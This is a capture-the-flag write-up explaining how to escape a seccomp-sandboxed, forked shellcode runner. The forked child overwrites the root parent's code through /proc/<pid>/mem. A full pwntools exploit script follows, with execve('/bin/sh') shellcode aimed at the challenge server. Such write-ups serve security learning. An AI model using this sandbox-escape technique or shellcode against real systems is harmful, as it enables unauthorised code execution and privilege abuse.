Post

secure sandbox

I love to make little games. But this time something seems to be different. If you win you might even get a flag...

We have a shellcode runner protected by seccomp:

We can use seccomp-tools to see the syscalls we are allowed to perform:

We can open, we can write, but we can’t read. However, we notice an interesting thing: the shellcode runner is forked. It also prints the PID of the main process, which is not protected by seccomp. We also notice in the Dockerfile that the application is running as root.

There is a special file in procfs called mem, for each process, containing a file-like object that can be used to write and read memory of other processes (requires special permissions, or root access). This is powerful because we can write any memory region, even read-execute memory like the text segment. The binary does not have PIE, so we can directly write to the instructions after the waitpid call in the parent. Then the parent can execute any shellcode.

The exploit path is as follows:

  • call open on /proc/<pid>/mem with O_WRONLY
  • call lseek to the target memory address with SEEK_SET
  • call write and pass the shellcode buffer
  • call exit so the parent’s waitpid finishes
  • the main process will execute the modified memory

P.S. I didn’t notice we can use write so I used writev, it does the same thing but it’s more convoluted :D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

context.terminal = ["ghostty", "-e"]
context.binary = ELF("./chall")

'''
io = gdb.debug("./chall", """
    c
""")
'''
io = remote("c1afb7ae-f973-4fff-bbfc-aa1dc6b99340.x3c.tf", 31337, ssl=True)

TARGET = 0x401c8f
shell = asm("""
        xor rsi, rsi
        push rsi
        mov rdi, 0x68732f2f6e69622f
        push rdi
        push rsp
        pop rdi
        push SYS_execve
        pop rax
        syscall
""")
shell = repr(list(shell))[1:-1]

io.readuntil(b"with pid: ")
pid = int(io.readline().strip())
print(f"{pid = }")
io.clean()
io.send(asm(f"""
    jmp start
file:
    .asciz "/proc/{pid}/mem"
shellcode:
    .byte {shell}
    .equ shellcode_len, $ - shellcode

start:
    lea rdi, [rip + file]
    mov rsi, O_WRONLY
    mov rdx, 0
    mov rax, SYS_open
    syscall
    mov r12, rax

    mov rdi, r12
    mov rsi, {hex(TARGET)}
    mov rdx, SEEK_SET
    mov rax, SYS_lseek
    syscall

    mov rdi, r12
    push shellcode_len
    lea rbx, [rip + shellcode]
    push rbx
    push rsp
    pop rsi
    mov rdx, 1
    mov rax, SYS_writev
    syscall

    mov rdi, 0
    mov rax, SYS_exit
    syscall
"""))

io.interactive()
This post is licensed under CC BY 4.0 by the author.